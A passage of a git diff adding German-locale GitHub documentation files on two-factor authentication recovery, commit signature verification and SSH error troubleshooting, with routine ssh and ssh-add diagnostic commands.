+  - /github/authenticating-to-github/disabling-two-factor-authentication-for-your-personal-account
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Disable 2FA
+---
+We strongly recommend using two-factor authentication to secure your account. If you need to disable 2FA, we recommend re-enabling it as soon as possible.
+
+{% warning %}
+
+**Warning:** If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a public repository of an organization that requires two-factor authentication and you disable 2FA, you'll be automatically removed from the organization, and you'll lose your access to their repositories. To regain access to the organization, re-enable two-factor authentication and contact an organization owner.
+
+{% endwarning %}
+
+If your organization requires two-factor authentication and you're a member, owner, or an outside collaborator on a private repository of your organization, you must first leave your organization before you can disable two-factor authentication.
+
+To remove yourself from your organization:
+ - As an organization member or owner, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)."
+ - As an outside collaborator, ask an organization owner or repository administrator to remove you from the organization's repositories. For more information, see "[Viewing people's roles in an organization](/articles/viewing-people-s-roles-in-an-organization)" and "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository/)."
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.security %}
+3. Click **Disable**.
+  ![Disable two-factor authentication button](/assets/images/help/2fa/disable-two-factor-authentication.png)
+
+## Further reading
+
+- "[About two-factor authentication](/articles/about-two-factor-authentication)"
+- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
+- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
new file mode 100644
index 0000000000..ee314edd92
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
@@ -0,0 +1,26 @@
+---
+title: Securing your account with two-factor authentication (2FA)
+intro: 'You can set up your account on {% data variables.location.product_location %} to require an authentication code in addition to your password when you sign in.'
+redirect_from:
+  - /categories/84/articles
+  - /categories/two-factor-authentication-2fa
+  - /articles/securing-your-account-with-two-factor-authentication-2fa
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+children:
+  - /about-two-factor-authentication
+  - /configuring-two-factor-authentication
+  - /configuring-two-factor-authentication-recovery-methods
+  - /accessing-github-using-two-factor-authentication
+  - /recovering-your-account-if-you-lose-your-2fa-credentials
+  - /changing-two-factor-authentication-delivery-methods-for-your-mobile-device
+  - /countries-where-sms-authentication-is-supported
+  - /disabling-two-factor-authentication-for-your-personal-account
+shortTitle: Secure your account with 2FA
+---
+
diff --git a/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
new file mode 100644
index 0000000000..6c4ac89dc0
--- /dev/null
+++ b/translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
@@ -0,0 +1,110 @@
+---
+title: Recovering your account if you lose your 2FA credentials
+intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.'
+redirect_from:
+  - /articles/recovering-your-account-if-you-lost-your-2fa-credentials
+  - /articles/authenticating-with-an-account-recovery-token
+  - /articles/recovering-your-account-if-you-lose-your-2fa-credentials
+  - /github/authenticating-to-github/recovering-your-account-if-you-lose-your-2fa-credentials
+  - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - 2FA
+shortTitle: Recover an account with 2FA
+---
+{% ifversion fpt or ghec %}
+
+{% warning %}
+
+**Warnings**: 
+
+- {% data reusables.two_fa.support-may-not-help %}
+
+{% endwarning %}
+
+{% endif %}
+
+## Using a two-factor authentication recovery code
+
+Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
+
+1. Type your username and password to prompt authentication.
+
+    {% warning %}
+
+    **Warning**: {% data reusables.accounts.you-must-know-your-password %}
+    
+    {% endwarning %}
+
+{% ifversion fpt or ghec %}
+1. Under "Having problems?", click **Use a recovery code or request a reset**.
+
+   ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png)
+{%- else %}
+1. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**.
+
+   ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
+1. Type one of your recovery codes, then click **Verify**.
+
+   ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
+
+{% ifversion fpt or ghec %}
+## Authenticating with a fallback number
+
+If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account.
+{% endif %}
+
+## Authenticating with a security key
+
+If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+
+{% ifversion fpt or ghec %}
+## Authenticating with a verified device, SSH token, or {% data variables.product.pat_generic %}
+
+If you know your password for {% data variables.location.product_location %} but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account.
+
+{% note %}
+
+**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take up to three business days. {% data variables.product.company_short %} will not review additional requests submitted during this time.
+
+{% endnote %}
+
+You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period.
+
+1. Type your username and password to prompt authentication.
+
+    {% warning %}
+
+    **Warning**: {% data reusables.accounts.you-must-know-your-password %}
+    
+    {% endwarning %}
+1. Under "Having problems?", click **Use a recovery code or request a reset**.
+
+   ![Screenshot of link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png)
+1. To the right of "Locked out?", click **Try recovering your account**.
+
+   ![Screenshot of link to try recovering your account](/assets/images/help/2fa/try-recovering-your-account-link.png)
+1. Click **I understand, get started** to request a reset of your authentication settings.
+
+    ![Screenshot of button to start reset of authentication settings](/assets/images/help/2fa/reset-auth-settings.png)
+1. Click **Send one-time password** to send a one-time password to all eligible addresses associated with your account. Only verified emails are eligible for account recovery. If you've restricted password resets to your primary and/or backup addresses, these addresses are the only addresses eligible for account recovery.
+
+   ![Screenshot of button to send one-time password](/assets/images/help/2fa/send-one-time-password.png)
+1. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent.
+
+   ![Screenshot of field to type one-time password](/assets/images/help/2fa/one-time-password-field.png)
+1. Click **Verify email address**.
+
+   ![Screenshot of button to verify email address](/assets/images/help/2fa/verify-email-address.png)
+1. Choose an alternative verification factor.
+    - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**.
+    - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**.
+    - If you've previously set up a {% data variables.product.pat_generic %} and would like to use the {% data variables.product.pat_generic %} for verification, click **{% data variables.product.pat_generic_caps %}**.
+
+   ![Screenshot of buttons for alternative verification](/assets/images/help/2fa/alt-verifications.png)
+1. A member of {% data variables.contact.github_support %} will review your request and email you within three business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions.
+
+{% endif %}
diff --git a/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
new file mode 100644
index 0000000000..bef711d4d3
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
@@ -0,0 +1,50 @@
+---
+title: Verifizierungsstatus der Commit- und Tag-Signaturen
+intro: 'Du kannst den Verifizierungsstatus deiner Commit- und Tag-Signaturen auf {% data variables.product.product_name %} überprüfen.'
+redirect_from:
+  - /articles/checking-your-gpg-commit-and-tag-signature-verification-status
+  - /articles/checking-your-commit-and-tag-signature-verification-status
+  - /github/authenticating-to-github/checking-your-commit-and-tag-signature-verification-status
+  - /github/authenticating-to-github/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Check verification status
+ms.openlocfilehash: c43072b238d6064b8d6a8cc27bb1994f4806875f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147653314'
+---
+## Den Verifizierungsstatus Deiner Commit-Signatur prüfen
+
+1. Navigiere auf {% data variables.product.product_name %} zu Deinem Pull Request.
+{% data reusables.repositories.review-pr-commits %}
+3. Das Feld neben dem verkürzten Commit-Hash Deines Commits zeigt, ob die Commit-Signatur verifiziert{% ifversion fpt or ghec %}, teilweise verifiziert{% endif %} oder nicht verifiziert ist.
+![Signierter Commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+4. Wenn Du ausführlichere Informationen zur Commitsignatur anzeigen möchtest, klicke auf **Verifiziert**{% ifversion fpt or ghec %}, **Teilweise verifiziert**,"{% endif %} oder **Nicht verifiziert**.
+  GPG-signierte Commits zeigen die ID des verwendeten Schlüssels an.
+  ![Überprüfter GPG-signierter Commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png) {% ifversion ssh-commit-verification %} SSH-signierte Commits zeigen die Signatur des verwendeten öffentlichen Schlüssels an.
+![Überprüfter SSH-signierter Commit](/assets/images/help/commits/ssh-signed-commit-verified-details.png) {% endif %}
+
+## Den Verifizierungsstatus Deiner Tag-Signatur überprüfen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %}
+2. Klicke oben auf der Seite „Releases“ auf **Tags**.
+![Tags-Seite](/assets/images/help/releases/tags-list.png)
+3. Das Feld neben der Tag-Beschreibung zeigt, ob Deine Tag-Signatur verifiziert{% ifversion fpt or ghec %}, teilweise verifiziert{% endif %} oder nicht verifiziert ist.
+![Verifizierte Tag-Signatur](/assets/images/help/commits/gpg-signed-tag-verified.png)
+4. Wenn Du ausführlichere Informationen zur Tag-Signatur anzeigen möchtest, klicke auf **Verifiziert**{% ifversion fpt or ghec %}, **Teilweise verifiziert**,{% endif %} oder **Nicht verifiziert**. 
+![Verifizierter signierter Tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
+
+## Weiterführende Themen
+
+- [Informationen zur Verifizierung einer Commitsignatur](/articles/about-commit-signature-verification)
+- „[Signieren von Commits](/articles/signing-commits)“
+- [Signieren von Tags](/articles/signing-tags)
diff --git a/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/index.md
new file mode 100644
index 0000000000..1b2c41c5b7
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/index.md
@@ -0,0 +1,27 @@
+---
+title: Fehlerbehebung bei der Verifizierung einer Commit-Signatur
+intro: 'Eventuell treten bei der lokalen Signatur von Commits für die Verifizierung auf {% data variables.product.product_name %} unerwartete Issues auf, die Du beheben musst.'
+redirect_from:
+  - /articles/troubleshooting-gpg
+  - /articles/troubleshooting-commit-signature-verification
+  - /github/authenticating-to-github/troubleshooting-commit-signature-verification
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+children:
+  - /checking-your-commit-and-tag-signature-verification-status
+  - /using-a-verified-email-address-in-your-gpg-key
+shortTitle: Troubleshoot verification
+ms.openlocfilehash: bcd12faa7912d9d32ebbea12afffe41528e63767
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147369289'
+---
+
diff --git a/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md
new file mode 100644
index 0000000000..aab5dc09be
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md
@@ -0,0 +1,32 @@
+---
+title: Eine verifizierte E-Mail-Adresse in Ihrem GPG-Schlüssel verwenden
+intro: 'Bei der Verifizierung einer Signatur überprüft {% data variables.product.product_name %}, ob die E-Mail-Adresse des Beitragenden oder des Taggers mit einer E-Mail-Adresse aus den Identitäten des GPG-Schlüssels übereinstimmt und ob es sich dabei im Konto des Benutzers um eine verifizierte E-Mail-Adresse handelt. Dadurch wird sichergestellt, dass der Schlüssel zu Dir gehört und dass Du den Commit oder das Tag erstellt hast.'
+redirect_from:
+  - /articles/using-a-verified-email-address-in-your-gpg-key
+  - /github/authenticating-to-github/using-a-verified-email-address-in-your-gpg-key
+  - /github/authenticating-to-github/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Use verified email in GPG key
+ms.openlocfilehash: bb9f4fbbfdb70ba55870ab068a33c566791fbaf2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085907'
+---
+{% ifversion fpt or ghec %} Wenn du deine GitHub-E-Mail-Adresse verifizieren musst, siehe " [Verifizieren deiner E-Mail-Adresse](/articles/verifying-your-email-address/) ." {% endif %}Wenn du eine E-Mail-Adresse zu deinem GPG-Schlüssel aktualisieren oder hinzufügen musst, siehe " [Eine E-Mail mit deinem GPG-Schlüssel verbinden ](/articles/associating-an-email-with-your-gpg-key)."
+
+Commits und Tags können verschiedene E-Mail-Adressen enthalten. Für Commits gibt es den Autor (die Person, die den Code geschrieben hat) und den Beitragenden (die Person, die den Commit zur Struktur hinzugefügt hat). Wenn du einen Commit mit Git signierst, egal ob bei einem Merge, Cherry-Pick oder einem normalen `git commit`, ist die E-Mail-Adresse des Committers deine, auch wenn die E-Mail-Adresse des Autors es nicht ist. Tags sind einfacher. Die Tagger-E-Mail-Adresse ist immer der Benutzer, der das Tag erstellt hat.
+
+Wenn du deinen Committer- oder Tagger-E-Mail-Adresse ändern müssen, findest du unter "[Festlegen deiner Commit-E-Mail-Adresse](/articles/setting-your-commit-email-address/)."
+
+## Weiterführende Themen
+
+- [Informationen zur Verifizierung einer Commitsignatur](/articles/about-commit-signature-verification)
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md b/translations/de-DE/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md
new file mode 100644
index 0000000000..67787afd9c
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md
@@ -0,0 +1,25 @@
+---
+title: Gelöschte oder fehlende SSH-Schlüssel
+intro: 'Als eine Sicherheitsmaßnahme entfernt {% data variables.product.prodname_dotcom %} automatisch SSH-Schlüssel, die seit einem Jahr nicht verwendet wurden.'
+redirect_from:
+  - /articles/deleted-or-missing-ssh-keys
+  - /github/authenticating-to-github/deleted-or-missing-ssh-keys
+  - /github/authenticating-to-github/troubleshooting-ssh/deleted-or-missing-ssh-keys
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Deleted or missing SSH keys
+ms.openlocfilehash: aa26a5bf39db3f41aa3c3aa01f59c392a42f467f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085891'
+---
+{% data variables.product.prodname_dotcom %} löscht automatisch inaktive SSH-Schlüssel, um Konten zu schützen, beispielsweise, wenn jemand seine Arbeitsstelle wechselt oder seinen Computer verliert.
+
+Ob Du einen SSH-Schlüssel seit einem Jahr nicht mehr verwendet hast, kannst Du anhand des Sicherheitsprotokolls Deines Kontos überprüfen. Weitere Informationen findest du unter [Überprüfen deines Sicherheitsprotokolls](/articles/reviewing-your-security-log/).
+
+Wenn Dein inaktiver SSH-Schlüssel gelöscht wurde, musst Du einen neuen SSH-Schlüssel erzeugen und ihn mit Deinem Konto verknüpfen. Weitere Informationen findest du unter [Generieren eines neuen SSH-Schlüssels und Hinzufügen des Schlüssels zum ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/) und unter [Hinzufügen eines neuen SSH-Schlüssels zu deinem GitHub Konto](/articles/adding-a-new-ssh-key-to-your-github-account/).
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
new file mode 100644
index 0000000000..d134f687e9
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
@@ -0,0 +1,52 @@
+---
+title: 'Error: Agent admitted failure to sign'
+intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.'
+redirect_from:
+  - /articles/error-agent-admitted-failure-to-sign-using-the-key
+  - /articles/error-agent-admitted-failure-to-sign
+  - /github/authenticating-to-github/error-agent-admitted-failure-to-sign
+  - /github/authenticating-to-github/troubleshooting-ssh/error-agent-admitted-failure-to-sign
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Agent failure to sign
+---
+When trying to SSH into {% data variables.location.product_location %} on a Linux computer, you may see the following message in your terminal:
+
+```shell
+$ ssh -vT git@{% data variables.command_line.codeblock %}
+> ...
+> Agent admitted failure to sign using the key.
+> debug1: No more authentication methods to try.
+> Permission denied (publickey).
+```
+
+For more details, see <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>this issue report</a>.
+
+## Resolution
+
+You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`:
+
+```shell
+# start the ssh-agent in the background
+$ eval "$(ssh-agent -s)"
+> Agent pid 59566
+$ ssh-add
+> Enter passphrase for /home/YOU/.ssh/id_rsa: [tippy tap]
+> Identity added: /home/YOU/.ssh/id_rsa (/home/YOU/.ssh/id_rsa)
+```
+
+If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`:
+
+```shell
+# start the ssh-agent in the background
+$ eval "$(ssh-agent -s)"
+> Agent pid 59566
+$ ssh-add ~/.ssh/my_other_key
+> Enter passphrase for /home/YOU/.ssh/my_other_key: [tappity tap tap]
+> Identity added: /home/YOU/.ssh/my_other_key (/home/YOU/.ssh/my_other_key)
+```
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-bad-file-number.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-bad-file-number.md
new file mode 100644
index 0000000000..5a3b945ab6
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-bad-file-number.md
@@ -0,0 +1,66 @@
+---
+title: 'Fehler: „Bad file number“ (Ungültige Dateinummer)'
+intro: 'Diese Fehlermeldung bedeutet normalerweise, dass du keine Verbindung zum Server herstellen konntest. Häufig wird der Fehler durch Firewalls und Proxyserver verursacht.'
+redirect_from:
+  - /articles/error-bad-file-number
+  - /github/authenticating-to-github/error-bad-file-number
+  - /github/authenticating-to-github/troubleshooting-ssh/error-bad-file-number
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+ms.openlocfilehash: db2a47ad6029790cdbf9f0212087acc659326941
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085887'
+---
+Beim Ausführen von Remote-Git-Befehlen oder SSH kann es bei deiner Verbindung zu einer Zeitüberschreitung kommen:
+
+```shell
+$ ssh -vT git@{% data variables.command_line.codeblock %}
+> OpenSSH_8.1p1, LibreSSL 2.7.3
+> debug1: Connecting to {% data variables.command_line.codeblock %} [207.97.227.239] port 22.
+> debug1: connect to address 207.97.227.239 port 22: Connection timed out
+> ssh: connect to host {% data variables.command_line.codeblock %} port 22: Connection timed out
+> ssh: connect to host {% data variables.command_line.codeblock %} port 22: Bad file number
+```
+
+## Das Problem beheben
+
+### Verwende HTTPS.
+
+Oft besteht die einfachste Lösung darin, SSH einfach ganz zu vermeiden. Die meisten Firewalls und Proxys lassen HTTPS-Datenverkehr problemlos zu. Um dies zu nutzen, ändere [die von dir verwendete Remote-URL](/github/getting-started-with-github/about-remote-repositories):
+
+```shell
+$ git clone https://{% data variables.command_line.codeblock %}/<em>username</em>/<em>reponame</em>.git
+> Cloning into 'reponame'...
+> remote: Counting objects: 84, done.
+> remote: Compressing objects: 100% (45/45), done.
+> remote: Total 84 (delta 43), reused 78 (delta 37)
+> Unpacking objects: 100% (84/84), done.
+```
+
+### Versuch aus einem anderen Netzwerk
+
+Wenn du von deinem Computer eine Verbindung zu einem anderen Netzwerk ohne Firewall herstellen kannst, kannst du versuchen, eine SSH-Verbindung mit {% data variables.product.product_name %} herzustellen. Wenn alles problemlos funktioniert, bitte deinen Netzwerkadministrator darum, die Firewall-Einstellungen zu ändern, damit du eine SSH-Verbindung mit {% data variables.product.product_name %} herstellen kannst.
+
+{% ifversion fpt or ghec %}
+
+### SSH über den HTTPS-Port verwenden
+
+Wenn die Verwendung von HTTPS keine Option ist und dein Firewalladministrator keine SSH-Verbindungen zulassen möchte, kannst du stattdessen [SSH über den HTTPS-Port](/articles/using-ssh-over-the-https-port) verwenden.
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+## Weitere Informationsquellen
+
+- [Behandlung von Konnektivitätsproblemen](/articles/troubleshooting-connectivity-problems)
+
+{% endif %}
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-key-already-in-use.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
new file mode 100644
index 0000000000..315f4701b6
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
@@ -0,0 +1,44 @@
+---
+title: 'Error: Key already in use'
+intro: 'This error occurs when you try to [add a key](/articles/adding-a-new-ssh-key-to-your-github-account) that''s already been added to another account or repository.'
+redirect_from:
+  - /articles/error-key-already-in-use
+  - /github/authenticating-to-github/error-key-already-in-use
+  - /github/authenticating-to-github/troubleshooting-ssh/error-key-already-in-use
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+---
+## Finding where the key has been used
+
+To determine where the key has already been used, open a terminal and type the `ssh` command. Use the `-i` flag to provide the path to the key you want to check:
+
+```shell
+$ ssh -T -ai ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %}
+# Connect to {% data variables.location.product_location %} using a specific ssh key
+> Hi USERNAME! You've successfully authenticated, but GitHub does not
+> provide shell access.
+```
+
+The *username* in the response is the account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that the key is currently attached to. If the response looks something like "username/repo", the key has been attached to a repository as a [*deploy key*](/guides/managing-deploy-keys#deploy-keys).
+
+
+To force SSH to use only the key provided on the command line, use `-o` to add the `IdentitiesOnly=yes` option:
+
+```shell
+$ ssh -v -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa git@{% data variables.command_line.codeblock %}
+```
+
+## Fixing the issue
+
+To resolve the issue, first remove the key from the other account or repository and then [add it to your account](/articles/adding-a-new-ssh-key-to-your-github-account).
+
+If you don't have permissions to transfer the key, and can't contact a user who does, remove the keypair and [generate a brand new one](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent).
+
+## Deploy keys
+
+Once a key has been attached to one repository as a deploy key, it cannot be used on another repository.  If you're running into this error while setting up deploy keys, see "[Managing deploy keys](/guides/managing-deploy-keys)."
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md
new file mode 100644
index 0000000000..3d5aad0bd1
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md
@@ -0,0 +1,217 @@
+---
+title: 'Error: Permission denied (publickey)'
+intro: 'A "Permission denied" error means that the server rejected your connection. There could be several reasons why, and the most common examples are explained below.'
+redirect_from:
+  - /articles/error-permission-denied-publickey
+  - /github/authenticating-to-github/error-permission-denied-publickey
+  - /github/authenticating-to-github/troubleshooting-ssh/error-permission-denied-publickey
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Permission denied (publickey)
+---
+## Should the `sudo` command or elevated privileges be used with Git?
+
+You should not be using the `sudo` command or elevated privileges, such as administrator permissions, with Git. If you have a *very good reason* you must use `sudo`, then ensure you are using it with every command (it's probably just better to use `su` to get a shell as root at that point). If you [generate SSH keys](/articles/generating-an-ssh-key) without `sudo` and then try to use a command like `sudo git push`, you won't be using the same keys that you generated.
+
+## Check that you are connecting to the correct server
+
+Typing is hard, we all know it. Pay attention to what you type; you won't be able to connect to "githib.com" or "guthub.com". In some cases, a corporate network may cause issues resolving the DNS record as well.
+
+To make sure you are connecting to the right domain, you can enter the following command:
+
+```shell
+$ ssh -vT git@{% data variables.command_line.codeblock %}
+> OpenSSH_8.1p1, LibreSSL 2.7.3
+> debug1: Reading configuration data /Users/YOU/.ssh/config
+> debug1: Reading configuration data /etc/ssh/ssh_config
+> debug1: /etc/ssh/ssh_config line 47: Applying options for *
+> debug1: Connecting to {% data variables.command_line.codeblock %} port 22.
+```
+
+The connection should be made on port 22{% ifversion fpt or ghec %}, unless you're overriding settings to use [SSH over HTTPS](/articles/using-ssh-over-the-https-port){% endif %}.
+
+## Always use the "git" user
+
+All connections, including those for remote URLs, must be made as the "git" user. If you try to connect with your {% data variables.product.product_name %} username, it will fail:
+
+```shell
+$ ssh -T GITHUB-USERNAME@{% data variables.command_line.codeblock %}
+> Permission denied (publickey).
+```
+If your connection failed and you're using a remote URL with your {% data variables.product.product_name %} username, you can [change the remote URL to use the "git" user](/github/getting-started-with-github/managing-remote-repositories).
+
+You should verify your connection by typing:
+
+```shell
+$ ssh -T git@{% data variables.command_line.codeblock %}
+> Hi USERNAME! You've successfully authenticated...
+```
+
+## Make sure you have a key that is being used
+
+{% mac %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Verify that you have a private key generated and loaded into SSH. 
+  ```shell
+  # start the ssh-agent in the background
+  $ eval "$(ssh-agent -s)"
+  > Agent pid 59566
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows_git_bash %}
+
+1. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
+
+  {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
+2. Verify that you have a private key generated and loaded into SSH. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+{% endwindows %}
+
+{% linux %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Verify that you have a private key generated and loaded into SSH. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
+  ```
+  
+
+{% endlinux %}
+
+The `ssh-add` command *should* print out a long string of numbers and letters. If it does not print anything, you will need to [generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) and associate it with {% data variables.product.product_name %}.
+
+{% tip %}
+
+**Tip**: On most systems the default private keys (`~/.ssh/id_rsa` and `~/.ssh/identity`) are automatically added to the SSH authentication agent. You shouldn't need to run `ssh-add path/to/key` unless you override the file name when you generate a key.
+
+{% endtip %}
+
+### Getting more details
+
+You can also check that the key is being used by trying to connect to `git@{% data variables.command_line.backticks %}`:
+
+```shell
+$ ssh -vT git@{% data variables.command_line.codeblock %}
+> ...
+> debug1: identity file /Users/YOU/.ssh/id_rsa type -1
